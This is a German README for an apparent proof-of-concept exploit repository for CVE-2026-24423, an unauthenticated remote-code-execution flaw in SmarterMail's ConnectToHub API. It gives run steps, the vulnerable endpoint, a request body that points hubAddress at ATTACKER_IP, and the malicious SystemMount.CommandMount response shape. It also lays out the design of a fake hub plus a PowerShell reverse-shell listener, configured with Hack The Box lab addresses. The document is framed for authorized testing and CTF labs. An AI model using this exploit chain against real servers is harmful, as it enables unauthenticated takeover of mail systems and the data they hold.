
Unauthentifizierte RCE-PoC für CVE-2026-24423 in SmarterTools SmarterMail (ConnectToHub). Nur für autorisierte Sicherheitstests, CTFs und Forschung.
Ein Python-basierter Exploit für CVE-2026-24423, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in der ConnectToHub-Funktionalität von SmarterTools SmarterMail.
Beabsichtigte Verwendung: Nur für autorisierte Sicherheitstests, CTFs, Hack The Box Labs und kontrollierte Forschungsumgebungen.
Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie ausdrücklich autorisiert sind zu testen. Siehe SECURITY.md.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
Erfordert Python 3.6+ (nur Standardbibliothek). Vollständige Anleitung im Abschnitt Verwendung unten.
CVE-2026-24423 ist eine nicht authentifizierte Remote-Code-Execution-Schwachstelle, die SmarterTools SmarterMail betrifft.
Die Schwachstelle befindet sich in der ConnectToHub-Funktionalität. Ein nicht authentifizierter Angreifer kann eine bösartige hubAddress angeben, wodurch der SmarterMail-Server eine HTTP-Anfrage an einen vom Angreifer kontrollierten Server sendet.
Der bösartige Server antwortet mit einer manipulierten setup-initial-connection-Antwort, die einen kontrollierten SystemMount.CommandMount-Wert enthält.
Die verwundbare SmarterMail-Instanz verarbeitet diesen Wert anschließend als Betriebssystembefehl, was die Ausführung beliebiger Befehle im Sicherheitskontext des SmarterMail-Dienstes ermöglicht.
Der Schwachstelle wurde ein CVSS 4.0-Score von 9.3 (Kritisch) zugewiesen und sie ist als CWE-306: Missing Authentication for Critical Function klassifiziert.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-24423 |
| Hersteller | SmarterTools |
| Produkt | SmarterMail |
| Schwachstelle | Nicht authentifizierte Remote-Code-Execution |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Kritisch |
| CVSS v3.1 | 9.8 Kritisch |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine |
| Benutzerinteraktion | Keine |
| Komplexität | Niedrig |
| Veröffentlicht | 23. Januar 2026 |
| Behobener Build | 9511 |
Der offizielle CVE-Eintrag beschreibt das Problem als nicht authentifizierte RCE über die ConnectToHub-API-Methode.
SmarterMail-Versionen vor Build 9511 sind betroffen.
Der CVE-Eintrag gibt den betroffenen Bereich wie folgt an:
SmarterMail < 100.0.9511
Build 9511, veröffentlicht am 15. Januar 2026, enthält den Hersteller-Fix.
< 100.0.9511
>= 100.0.9511
Überprüfen Sie stets den exakt installierten Build, bevor Sie versuchen, die Schwachstelle zu reproduzieren.
Die verwundbare Funktionalität wird über die SmarterMail-Systemadministrations-API bereitgestellt.
Der relevante Vorgang ist:
/api/v1/settings/sysadmin/connect-to-hub
Der Endpunkt akzeptiert einen hubAddress-Parameter.
Konzeptionell kann ein Angreifer Folgendes angeben:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail verbindet sich dann mit der angegebenen Hub-Adresse und fordert an:
/web/api/node-management/setup-initial-connection
Der vom Angreifer kontrollierte Server antwortet mit JSON, das ein bösartiges SystemMount-Objekt enthält.
Die wichtige Eigenschaft ist:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Der CommandMount-Wert wird anschließend von der verwundbaren Anwendung als Betriebssystembefehl verwendet.
Dies ermöglicht einem Angreifer den Übergang von:
Unauthenticated HTTP request
zu:
Remote command execution
Die technische Analyse von VulnCheck bestätigt, dass die vom Angreifer kontrollierte hubAddress SmarterMail dazu veranlasst, den setup-initial-connection-Endpunkt des Angreifers anzufordern, und dass der zurückgegebene CommandMount die Ausführung beliebiger Befehle ermöglichen kann.
Der Exploit besteht aus zwei Komponenten:
Der Python-Server lauscht auf:
POST /web/api/node-management/setup-initial-connection
und gibt eine manipulierte JSON-Antwort zurück, die den bösartigen SystemMount.CommandMount enthält.
Ein separater TCP-Listener empfängt die Verbindung, die durch den auf dem Ziel ausgeführten Befehl initiiert wird.
Dieser Exploit verwendet absichtlich zwei separate Ports.
8081
└── Fake SmarterMail Hub
4455
└── Reverse Shell Listener
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
Diese Ports dienen unterschiedlichen Zwecken und sollten nicht verwechselt werden.
Der Exploit verwendet nur Python-Standardbibliotheksmodule:
http.server
json
base64
Es sind keine externen Python-Pakete erforderlich.
Bearbeiten Sie die folgenden Variablen:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Für die Beispiel-HTB-Umgebung:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST ist die IP-Adresse des Angreifers, die das Ziel erreichen kann.
Für Hack The Box ist dies normalerweise die IP, die dem HTB-VPN-Interface zugewiesen ist:
ip addr show tun0
Beispiel:
tun0:
inet 10.10.14.50
Daher:
LHOST = "10.10.14.50"